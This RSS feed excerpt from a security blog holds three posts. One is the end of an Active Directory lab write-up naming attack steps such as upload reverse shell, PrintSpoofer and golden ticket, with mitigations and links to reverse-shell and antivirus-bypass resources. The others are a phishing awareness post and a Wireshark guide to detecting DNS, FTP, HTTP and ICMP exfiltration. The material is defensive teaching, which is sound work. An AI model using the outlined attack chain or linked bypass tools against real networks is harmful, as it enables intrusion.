src="https://cdn-images-1.medium.com/max/1024/0*3J1IEVOU5cfWnq4t.png" /></figure><h3>Passwords Stored in LDAP/AD Attributes</h3><p>The first credentials we got was stored in a user’s description. This is easily avoidable, just dont write your password in clear readable places, digitally or physically (Like on your desk).</p><ul><li>Remove discovered credentials</li><li>Rotate any exposed passwords immediately.</li><li>Use a password manager/secrets-management system.</li><li>Monitor modifications to sensitive AD attributes.</li><li>Security awareness for employees.</li></ul><h3>IIS File Upload Reverse Shell</h3><p>Very fun to exploit, hurts like hell when you are the victim. Keep in mind, not every file upload grants us code execution, but its best practice to make it secure and its easy to do so.</p><ul><li>Whitelist file extensions to be uplaoded.</li><li>Validate MIME type <strong>and</strong> file content.</li><li>Store uploads outside web-accessible/executable directories.</li><li>Remove execute permissions from upload locations.</li><li>Run IIS application pools with minimal privileges.</li></ul><p><strong>Wireshark</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RYdqIWBa5jZ_Bwtf.png" /></figure><h3>PrintSpoofer / SeImpersonatePrivilege</h3><p>File upload was the door, <strong>SeImpersonatePrivilege</strong> was the home owner. Without such privilege, we would not have been able to get admin privileges after we were in. How to prevent it? Simple, review and remove high privileges from unqualified users or services.</p><ul><li>Don’t run applications/services as highly privileged accounts unnecessarily.</li><li>Isolate vulnerable services.</li><li>Monitor suspicious child processes from service processes.</li></ul><p><strong>Wireshark</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zAwJ8zFlP-9J5TH7.png" /></figure><p>This is how it looks when an attacker downloads their payload from their local device or unencrypted http website.</p><p><strong>Wazuh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GigPgqkNeG-snS64.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4UYYHp2DXyGhV92r.png" /></figure><h3>MSSQL Trusted Links / Execute As</h3><p>We gained access to MSSQL with a regular user, and ended up being admin. How? These two permissions. How to prevent? Use dedicated, minimally privileged service accounts and remove unnecessary links. Also review the following:</p><ul><li>Linked servers.</li><li>EXECUTE AS permissions.</li><li>SQL Agent privileges.</li><li>SQL service accounts.</li><li>Cross-server trust relationships.</li></ul><h3>Cross-Domain Privilege Abuse</h3><p>We started in the North domain and ended up in the root domain. With the right approach and chaining of existing misconfigurations and vulnerabilities, its achievable. To prevent it review the following:</p><ul><li>Domain trusts.</li><li>SIDHistory.</li><li>Cross-domain group memberships.</li><li>Foreign security principals.</li><li>ACLs containing principals from other domains.</li><li>Delegation.</li><li>Enterprise Admin/Domain Admin membership.</li><li>Resource-based constrained delegation.</li></ul><p>Any account with unreasonable high privileges or misconfigured ACLs can lead to not just access, but administrator.</p><h3>Golden Ticket / ExtraSIDs</h3><p>A <strong>golden ticket</strong> is what allowed us to enter the root domain. It utilizes <em>krbtgt</em> to generate a ticket with your desired SID and username to get the easiest entry to the domain. Of course, a <em>krbtgt</em> is found after dumping secrets, so preventing the attacker from reaching that point is key so we dont have to face this. Of course to prevent such attacks we need to:</p><ul><li>Protect privileged administrator accounts.</li><li>Protect Domain Controllers.</li><li>Monitor privileged access to domain controllers.</li><li>Monitor abnormal Kerberos authentication.</li><li>Audit SIDHistory and privileged group changes.</li></ul><p><strong>Wireshark</strong> Authenticating WMI with forged golden ticket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P57gXkoJdRr_LaAA.png" /></figure><p><strong>Wazuh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IYylQi09YTfemxlW.png" /></figure><p>Also look for <strong>4624</strong>, <strong>4672</strong> and Sysmon ID <strong>3</strong>.</p><h3>Conclusion</h3><p>Active Directory attacks can be much more complex, more OPSEC, harder detection, stronger persistence and techniques that can be unique or unseen before. Understanding the fundamentals of how the environment works, authentication, kerberos, certificates and other configurations enhances your way into attacking and/or defending and improving vulnerabilities in AD environments.</p><h3>Resources</h3><ul><li><strong>Zeyad Azima</strong>: <a href="https://zeyadazima.com/">https://zeyadazima.com/</a></li><li><strong>FadyMoheb</strong>: <a href="https://fadymoheb.com/notes/Penetration-Testing/Network/Active-Directory/">https://fadymoheb.com/notes/Penetration-Testing/Network/Active-Directory/</a></li><li><strong>HackTricks</strong>: <a href="https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html">https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html</a></li><li><strong>The Hacker Recipes</strong>: <a href="https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/golden">https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/golden</a></li><li><strong>Darknet</strong>: <a href="https://www.darknet.org.uk/">https://www.darknet.org.uk</a></li><li><strong>ADSecurity</strong>: <a href="https://adsecurity.org/">https://adsecurity.org/</a></li><li><strong>Reverse Shell Generator</strong>: <a href="https://www.revshells.com/">https://www.revshells.com/</a></li><li><strong>AV Bypass</strong>: <a href="https://powersploit.readthedocs.io/en/latest/#antivirusbypass">https://powersploit.readthedocs.io/en/latest/#antivirusbypass</a></li><li><strong>Discovery Commands</strong>: <a href="https://www.servicenow.com/docs/r/it-operations-management/discovery/powershell-cmdlets-run-by-discovery.html">https://www.servicenow.com/docs/r/it-operations-management/discovery/powershell-cmdlets-run-by-discovery.html</a></li><li><strong>AD Detection Methodology</strong>: <a href="https://www.cyber.gov.au/business-government/detecting-responding-to-threats/detecting-and-mitigating-active-directory-compromises">https://www.cyber.gov.au/business-government/detecting-responding-to-threats/detecting-and-mitigating-active-directory-compromises</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=682b718b5fdb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phishing ]]></title>
            <link>https://medium.com/@omaraani/phishing-b445037ad45c?source=rss-39e4cb6779ef------2</link>
            <guid isPermaLink="false">https://medium.com/p/b445037ad45c</guid>
            <category><![CDATA[email-marketing]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Fa1sePositiv3]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 12:46:32 GMT</pubDate>
            <atom:updated>2026-04-19T12:46:32.270Z</atom:updated>
            <content:encoded><![CDATA[<p>Phishing is the most common attack to gaining unauthorized access. It targets individuals and organizations instead of the security directly, which makes it succeed due to missing factors. Today we are discussing 5 common types of phishing attacks, with examples and prevention tips.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pngpf7-PTA7J-VZCmmKwEQ.png" /></figure><h3>Email Phishing</h3><p>Email phishing is a common social engineering tactic, targeting companies and individuals by separate or combined techniques such as <strong>Typosquatting</strong>, <strong>Spoofing, Spear phishing, whaling</strong> and many others. The goals is to compromise the victim by sending an embedded code in a file that runs as <strong>C2 server</strong> or pretending to be an employee in a company asking a senior to download a file that compromises the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*toCmtHMn9J_18sgsfhFNnQ.png" /></figure><p>An example of email spoofing: <strong>Apple Support</strong> <a href="/service/mailto:dontreply-veryrealemail@kmd.com">dontreply-App1e@support.com</a></p><p>The sender is trying to impersonate Apple, but the address does not match or usually gibberish.</p><h3>Spear Phishing</h3><p>Spear phishing is a social engineering technique that is used to gather information about a company or a person before the phishing attempt. Information can be gathered through OSINT (Open Source Intelligence).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*ODkqgFnSlnwza-OEb8hTMg.png" /></figure><p>What specializes spear phishing is that its a more accurate approach rather than a random phone call the victim might get, easily indicating its a scam attempt.</p><p>Lets say you work in a library and you are waiting to receive the list of books wanted by the library for you to get for them. The owner send you a word document named <strong>Books_Order March</strong>, you open the file the document and accept any requests shown by <strong>Word</strong>, but then the sender wasn’t the actual person you were expecting, but someone who researched you knowing where you work and what you are expecting and the</p><p>Lets say you work in a library and you are waiting to receive the list of books wanted by the library for you to get for them. The owner send you a word document named <strong>Books_Order March</strong>, you open the file the document and accept any requests shown by <strong>Word</strong>, but then the sender wasn’t the actual person you were expecting, but someone who researched you knowing where you work and what you are expecting and the document you got was infected using Word OLE feature (Object linking and embedding) which could have spyware, infostealer, ransomware, or whatsoever the attacker desired.</p><h3>Whaling</h3><p>Whaling is an approach that targets high positions in organizations, giving the attacker administrator levels of access instead of a low level access through employers. This approach can also be executed using the previous strategies in <strong>Spear Phishing</strong>, where the attacker gathers information about the desired target of the company through OSINT. LinkedIn is a great field where information like emails, numbers, locations and interests regarding companies and individuals can be found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*WRfsgGjnOkMIfnKTgwCnDQ.png" /></figure><h3>Smishing &amp; Vishing</h3><p>Smishing (SMS Phishing) and Vishing (Voice Call Phishing) are methods heavily used by attackers recently and especially integrated with AI. SMS Phishing is when the victim receives a message on their personal phone number, just like an email but without the need of internet access, making the victim reachable at anytime. This can be dangerous by impersonating social media apps like WhatsApp, ISP, Shopee and other services the user is familiar with. Messages might include links where users are requested to download or login their credentials, where their information sit on the attacker’s server allowing them to sell that information or access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ails51qOJF-Xi_tAu4esBg.png" /></figure><p><strong>Voice Call Phishing</strong> is an old approach where targets receive calls from different country code numbers, impersonators, and friends or colleagues. By combining AI, attackers recently upgraded this approach, where they get phone numbers that are leaked through data breaches or used in old lists where attempts were successful or the victim pick up the calls. After gathering a list of numbers, they would call without speaking, recording the voice of the victim for the duration of the call and using it for other attacks such as <strong>Spear Phishing</strong> or <strong>Whaling.</strong></p><p>For example, you call a CEO of a company and when they pick up you just record their voice while speaking to them. After that, you can use their voice to use it to gain access by speaking to an employee to wire a transfer or gain access. This has been successful alot recently and is scarily accurate.</p><h3>Angler Phishing</h3><p>Angler phishing is a one of the most common phishing methods. It is the impersonation of legitimate customer service accounts on social media platforms or companies such as PayPal, Amazon, and Microsoft. This approach is used by attackers to send emails or call customers informing them about purchases, credentials update, and promotions.</p><p>Emails can have spoofed domain and SMS messages can have urgency and links embedded. The targets of this attack can be random, but when combined with <strong>Spear Phishing</strong> and <strong>OSINT</strong>, attackers can find dissatisfied customers or desperate individuals and lure them into their trap.</p><p>Lets say you receive a call from your telecom company. They inform you that your number is going to be disabled and ask you for your information such as passport and perhaps other credentials to their app or even an amount of money. By complying, you lose so much without realizing and especially if you grant them access to perhaps to your account on a supposed application or your banking details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UUIV0jpU5asgjPg55SWBuA.png" /></figure><h3>Mitigation</h3><p>Although the risks of these attacks are high and very it is common that you might face some of them, there is ways to avoid them. As you might have seen, there is common factors that are available in all of these attacks. The most important factor for handling phishing attacks is <strong>security awareness</strong>. Attacks happens to everyone and no one is immune to them, but the difference is how you perceive it.</p><p>Lacking security awareness is the most critical factor, because if it is missing, despite having the tools and technology to to scan and analyse a phishing attempt, it passes and goes through due to the individual’s lack of awareness. Following awareness comes <strong>staying updated</strong> to the latest attacks and how they are developing, because the attack types don’t change, they only get enhanced. This isn’t just important for those in the security field, but for everyday casual users on the internet.</p><h3>Tools</h3><p>Here are some recommended tools for phishing analysis. Each tool can be used depending on the need. For example CyberChef can be used to decode Base64 content (or any other encoding), VirusTotal can check a file hash using antivirus engines like Kaspersky or McAfee to see if it matches anything malicious and so on.</p><p><strong>Decoding &amp; Threat Intelligence: </strong><a href="https://www.virustotal.com/gui/">VirusTotal</a>, <a href="https://www.convertcsv.com/url-extractor.htm">URL extractor</a>, <a href="https://gchq.github.io/CyberChef/">CyberChef</a>, <a href="https://talosintelligence.com/talos_file_reputation">Talos</a>.</p><p><strong>Malware Sandboxes</strong></p><p>To analyze malware, it is recommended to do so in a protected environment to prevent getting the main machine infected. Below are common great tools for containing malware.</p><p><a href="https://www.notion.so/Malware-Analysis-30112883632d80a784dad234ef59a83e?pvs=21">Hybrid Analysis</a></p><p><strong>Interactive Malware Analysis</strong>: <a href="https://app.any.run/">https://app.any.run/</a>, <a href="https://www.joesecurity.org/">https://www.joesecurity.org/</a></p><p><a href="https://www.phishtool.com/">PhishTool</a></p><h3>Conclusion</h3><p>With the coming years, attacks will keep increasing and will get more sophisticated as time comes. It is important to understand the basics as an attack can occur to anyone, even experts aware and capable of responding. Stay updated, use third party apps or websites to scan links, files, or IPs. Being proactive will prevent harsh losses when you suffer an attack, it is in your hands to prepare now.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b445037ad45c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Data Exfiltration with Wireshark]]></title>
            <link>https://medium.com/@omaraani/data-exfiltration-ddd8ea2c3bfd?source=rss-39e4cb6779ef------2</link>
            <guid isPermaLink="false">https://medium.com/p/ddd8ea2c3bfd</guid>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[data-analysis]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Fa1sePositiv3]]></dc:creator>
            <pubDate>Wed, 01 Apr 2026 15:27:42 GMT</pubDate>
            <atom:updated>2026-04-22T22:42:23.059Z</atom:updated>
            <content:encoded><![CDATA[<p>As a SOC analyst, one of your main tasks is analyzing network traffic. Here is a guide and little practical examples about various types of data exfiltration and how to detect it using <a href="https://www.wireshark.org/">Wireshark</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZ6VswTemGSRWSwPzjjEPA.png" /></figure><h3>What is data exfiltration?</h3><p>Data exfiltration is the process of unauthorized transfer of data of sensitive information from a device, network or computer to an outside destination without permission. Data exfiltration is the last stage in the cyber kill chain, where the attacker exports the data of the victim.</p><h3>Indicators and techniques</h3><p>We are going to discuss two main targets <strong>Network-based</strong> and <strong>Host-based</strong>.</p><p><strong>Network-based</strong> <br>For a network-based attack, you’d want to look for suspicious HTTP/HTTPS uploads to cloud and FTP or DNS tunnelling. Of course these arent the only indicators, but the most alarming and obvious.</p><p><strong>Host-based</strong><br>For Host-based data exfiltration, some of the indicators are unusual file access patterns, such as large files being compressed to .rar or .7z extensions, repeated failed login attempts, and large uploads to cloud services (Google Drive, Dropbox etc).</p><p><strong>Genreal IoAs &amp; triage signals</strong><br>We discussed Host-based and Network-based data exfiltration, but there are more types such as cloud data exfiltration and covert &amp; encoding techniques such as tunnelling and base64.<br>But we are not going to delve into that, as this is focused on bringing awareness and an introduction to detection and anomalies. These are some signs to look for: <br>Large outbound volume to external IPs/Domains, unknown destination domains, suspicious processes/command lines, many file read events followed by an outbound conneciton, multipart/streamed uplods.</p><p>Data exfiltration is a high-impact threat that combines opportunistic methods, legitimate tools and creative covert channels to move sensitive assets outside an organisation. Effective detection requires focus on single-alerts and more on rapid correlation across host, network and cloud telemetry. By doing that, you identify who accessed data, what was transferred, how and where it was sent.</p><h4>DNS</h4><p>DNS tunnelling is one of the most common ways adversaries exfiltrate data. It is used for transferring data from a host device to a suspicious usually long domain (30+ characters) with many requests to that domain without a response.</p><h4>IoA</h4><ul><li>Many DNS queries are sent to a single external domain, especially with very high counts.<br>- Long subdomain labels or unusually long full query names (&gt;60–100 characters).<br>- High entropy or Base32/Base64-like patterns in the query name (lots of mixed up case letters, — and = are signs of Base64).</li></ul><p>Before starting our Wireshark analysis, we need to know what to look for inside <strong>DNS </strong>packets. We are going to focus on two main things, <strong>requests</strong> and <strong>responses</strong>.</p><p><strong>DNS requests</strong>: DNS requests (queries) are the packets sent from the client to the DNS server.</p><p><strong>DNS reponses</strong>: Packets from the <strong>server</strong> to the <strong>client.</strong></p><p>This is what normal DNS traffic should look like. The catch here is the domains length particularly. The filter frame.len &lt; 60 shows us queries to domains with less than 60 characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*UjB4jK16gOBmfmPRjB2xoA.png" /></figure><p>Now we want to look for DNS requests, we will use the filter dns.flags.response == 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yj2_tf1Y4nEAG20tjZ6qzg.png" /></figure><p>We can see some long random-looking subdomains. After finding such, we will filter to the <strong>domain tunnelcorp.net</strong> using dns.flags.response == 0 and dns.qry.name contains &quot;tunnelcorp&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmjtXnfbgoZ26vRVV--bWg.png" /></figure><p>We can also search for subdomains that are long, because that is one of the main indicators of a C2 server. Malware usually encodes data into subdomains like Base32/Base64. To do so, we use dns &amp;&amp; frame.len &gt; 70</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7P8ALwlqA79TNdkxyIc3iQ.png" /></figure><p>This a successful search and finding of DNS tunnelling. We can see:</p><ul><li>Some internal hosts are compromised.</li><li>Hosts are sending data in chunks.</li><li>One external domain is receiving all the data.</li></ul><p>Lastly, to spot DNS tunnelling we focus on the following:</p><ul><li>Large DNS requests with no response.</li><li>Long random charactrer subdomains.</li><li>Repeated requests to the same domain.</li></ul><h4>FTP</h4><p>FTP is one of the oldest protocols for transferring files. Attackers use it to transfer large amount of data off a network, often via compromised credentials or misconfigured servers. The detection relies on a mix of packet inspection (FTP), server logs, SSH session metadata, and network flow/size/pattern analysis.</p><p><strong>IoA</strong><br>- <strong>USER </strong>and <strong>pass</strong> commands (cleartext credentials).<br>- <strong>Stor</strong> (upload) and <strong>RETR </strong>(download) commands; repeated or large transfers.<br>- Large data connections to unusual external IPs, especially outside business hours.<br>- Data channel opening on ephemeral ports (PASV) paired with large payloads.</p><h4><strong>Isolating FTP control &amp; data</strong></h4><p>First, lets filter to find FTP only, using the Wireshark filter `<strong><em>ftp || ftp-data`</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyLc_XBTNEk7VyL9IuG6MQ.png" /></figure><p>This will only give us FTP control traffic</p><h4>Looking for credentials</h4><p>To filter to only login attempts you type `<strong><em>ftp.request.command == “USER” || ftp.request.command == “PASS”`.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*InRhzeIMxC08BlN803E7FQ.png" /></figure><p>This will give us login attempts showing USER and PASS</p><h4>Searching anomalies</h4><p>When data is being exfiltrated via FTP, the data is harvested and stored in extensions such as .txt , .pdf or csv. To look for anomalies, we type `<strong><em>ftp contains “STOR”</em></strong>`. STOR is a command indicating an upload, and <strong>RETR</strong> is download.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQ2eVnCCMmXY-FVrFy81_w.png" /></figure><p>To get a better view of the TCP stream, right-click on the packet → Follow → TCP Stream. This will give you the following clearer view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ffyrFdEL0gy6vp0VY-AOEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MfOUDPhiSThm9u41OAErTw.png" /></figure><p>To search for a specific extension you can use the command `<strong><em>ftp contains “csv”</em></strong>`. You will receive packets where data is being stored in a comma-separated values file (csv).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*shrIndpQiZOT0Oz-XtOmHw.png" /></figure><h4>Payloads</h4><p>A big indicator of a FTP attack is a large payload size. To search and identify such payloads, we use the capture filter `<strong><em>ftp &amp;&amp; frame.len &gt; 90</em></strong>`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HiOV5T42ISeLQW2B4V12EA.png" /></figure><p>When it comes to payloads, a size of &lt; 200 bytes isn’t suspicious, but in this case the context matters. In this case, we can see a login attempt through a default username guest and a weak password guest as well.<br>After the successful login attempt, STOR command is being used to send data to a .csv file. The data being sent is THM{ftp_exfil_hidden flag}, which is a CTF from a THM lab in this case, but this is the demonstration of how data exfiltration through FTP would look like in real-world scenarios.</p><h3>HTTP</h3><p>Data exfiltration vita HTTP is when an attacker moves sensitive data out of a target network using HTTP as transport. HTTP is a commonly abused protocol because it blends with normal web traffic, can traverse firewalls and proxies, and can be obfuscated (encoding, encryption, tunnelling). To detect a HTTP attack as SOC analysts, we aim to identify signs of HTTP-based exfiltration in packet captures using <strong>Wireshark</strong> and logs using <strong>Splunk</strong>.</p><p>Identifying and responding to HTTP attacks is important due to the following reasons:<br>- HTTP attacks are very common. Attackers hide exfiltration in the noise of legitimate web usage.<br>- Successful detection stop data breaches and help trace attacker activity post-compromise.<br>- Organizations must detect and respond to protect sensitive data and meet compliance requirements.</p><h4>How is HTTP used for data exfiltration?</h4><p>To detect HTTP attacks, we need to look for and understand the following request methods. The following are methods attackers use and indicators to look for.</p><p><strong>POST Uploads</strong>: A common request method to send data to a server. A suspicious POST request is a large amount of data being sent to a attacker-controlled host or cloud storage.<br><strong>GET Requests</strong>: GET requests with encoded data is a common technique adversaries use. Data being squeezed into query strings or path segments for low-and-slow exfiltration. <br><strong>Use of common services</strong>: Exfiltration masked as uploads to popular services or attacker-controller subdomains under reputable domains.<br><strong>Chunked transfer/multipart</strong>: Large payloads split into multiple requests to avoid size thresholds.<br><strong>HTTPS/TLS tunnelling</strong>: The encrypted channel hides the payload. Detection requirest TLS inspection, SNI analysis, or metadata-based detection<br><strong>Staging via cloud services</strong>: Uploading to trusted cloud services like Dropbox/Github/Gist and then fetch externally.</p><p>Lastly, it is important to take note that not all attacks are sudden and will be spiked on a network traffic. Most of the time it could be a low-and-slow approach, where adversaries take their time encrypting/encoding, and use legitimate services to evade detection. This is why connecting the dots and gathering context is the key approach during analysis.</p><h4>IoA</h4><p><strong>Common network indicators</strong>:<br>- Unusually large HTTP POST requests to external and unexpected hosts.<br>- HTTP requests to domains with low reputation or uncommon in daily traffic.<br>- Frequent small requests (beaconing) to the same host followed by a large upload.<br>- Chunked or multipart transfers where requests compose large files.</p><h4>Wireshark HTTP analysis</h4><p>We can use Wireshark to analyze ad look for HTTP attacks. We start by filtering to only HTTP traffic using the <strong>http</strong> filter. After that, we go ahead and filter out an HTTP method like POST http.request.method == &quot;POST” &amp;&amp; frame.len &gt; 300.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xm7ZjInX-JdWjBLDkR6Rug.png" /></figure><p>As we can see in HTTP Stream, a POST upload to github.com with the <br>Lets break the filter down:<br><strong>http.request.method</strong>: Filtering specific methods such as POST,GET or HEAD.<br><strong>frame.len</strong>: Filters out a specific frame length, a large frame length could be an indicator to an attack.<br>Tip: Check out the TCP/HTTP stream of the packet for cleartext details.</p><h3>ICMP</h3><p>ICMP is a network layer protocol used for diagnostics and controls like <strong>ping</strong>. Because it is commonly allowed through firewalls and typically inspected less strictly than TCP/UDP, ICMP can be abused to tunnel and exfiltrate data. Malicious actors encode data into ICMP payloads (echo request/reply, timestamp,info) and send it to a remote listener under their control.</p><h4>How ICMP is used for exfiltration</h4><p><strong>ICMP echo (type 8) / reply (type 0) tunnelling</strong>: Attackers place encoded <strong>base64</strong> or <strong>hex</strong> chunks of files inside <strong>ICMP</strong> payloads. <br><strong>Custom ICMP types/code</strong>: Using uncommon ICMP types or non-zero codes to avoid signature-based detections.<br><strong>Fragmentation &amp; reassembly</strong>: Large payloads split across multiple packets<br><strong>Encryption/obfuscation</strong>: Encrypting payloads e.g using base64 to look like random data.</p><h4>Indication of maliciousness</h4><p>- Persistent ICMP sessions to an external host not used for legitimate monitoring.<br>- Unusually large ICMP payloads or frequent ICMP with payload larger than a typical ping size.<br>- ICMP payloads that contain high-entropy data or patterns consistent with base64/hex.<br>- Bursts of ICMP immediately followed by no other legitimate application traffic from the same host.</p><h4>Wireshark analysis</h4><p>Again, Wireshark can be used for analyzing ICMP packets. It is important to know where to look and what to identify while analyzing.</p><h4>IoA</h4><p><strong>ICMP packet volumes</strong>: A single host sending large amount of ICMP echo requests to an external IP.<br><strong>Large frame.len or icmp.payload</strong>: Pings with payloads much larger than the typical (e.g &gt; 64 bytes).<br><strong>ICMP type/code unusual values</strong>: Unusual use of timestamp (13/14) or custom codes.<br><strong>Periodicity</strong>: even timing of ICMP packets carrying similiar-sized paylods.</p><p>Using the capture command icmp.type == 8 &amp;&amp; frame.len &gt; 100, we receive malicious packets, as a usual ICMP ping is ~74 bytes, whic makes anything above a 100 bytes suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RfYROMDugGlQVV4aePBDXA.png" /></figure><p>As we can see, this packet has 148 bytes, which is way over the usual ICMP bytes. The text is in hex but it is truncated in cleartext on the right side.</p><h3>Conclusion</h3><p>Data exfiltration through DNS,FTP, and HTTP and other protocols usually does not have one big red flag to look for that indicates an IoA/IoC, but rather analyzing multiple factors and connecting the dots, which is a common approach in network traffic analysis. Knowing where and what to look for is the important part, allowing you to find the malicious actor and respond accordingly.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddd8ea2c3bfd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>